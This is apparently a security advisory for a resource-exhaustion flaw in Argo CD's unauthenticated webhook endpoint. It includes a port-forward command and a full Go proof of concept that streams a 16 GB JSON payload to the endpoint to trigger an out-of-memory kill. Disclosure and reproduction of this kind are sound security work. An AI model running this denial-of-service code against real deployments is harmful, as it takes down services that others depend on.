Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting github.com/argoproj/argo-cd/util/webhook package, versions *

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the api/webhook endpoint. An attacker can disrupt service availability by sending a specially crafted large JSON payload that triggers excessive memory allocation, leading to an Out of Memory (OOM) kill.

Note:

The api/webhook endpoint does not require authentication by default.

Port-forward to the argocd-server service:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import (
    "crypto/tls"
    "io"
    "net/http"
)
// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
    size int64 // Total size to generate
    read int64 // Bytes already generated
}
// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
    if r.read >= r.size {
        return 0, io.EOF // Finished generating
    }
start := false
if r.read == 0 {
    // Start of JSON
    p[0] = '{'
    p[1] = '"'
    p[2] = 'd'
    p[3] = 'a'
    p[4] = 't'
    p[5] = 'a'
    p[6] = '"'
    p[7] = ':'
    p[8] = '"'
    n = 9
    start = true
}

for i := n; i < len(p); i++ {
    if r.read+int64(i)-int64(n)+1 == r.size-1 {
        // End of JSON
        p[i] = '"'
        p[i+1] = '}'
        r.read += int64(i) + 2 - int64(n)
        return i + 2 - n, nil
    } else {
        p[i] = 'x' // Dummy data
    }
}

r.read += int64(len(p)) - int64(n)
if start {
    return len(p), nil
}
return len(p) - n, nil

}
func main() {
    // Initialize the custom reader with the desired size (16GB in this case).
    payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
    reader := &DummyJSONReader{size: payloadSize}
// HTTP client setup
httpClient := &http.Client{
    Timeout: 0, // No timeout
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    },
}

req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
if err != nil {
    panic(err)
}

// Set headers
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-GitHub-Event", "push")

resp, err := httpClient.Do(req)
if err != nil {
    panic(err)
}
defer resp.Body.Close()

println("Response status code:", resp.StatusCode)

}

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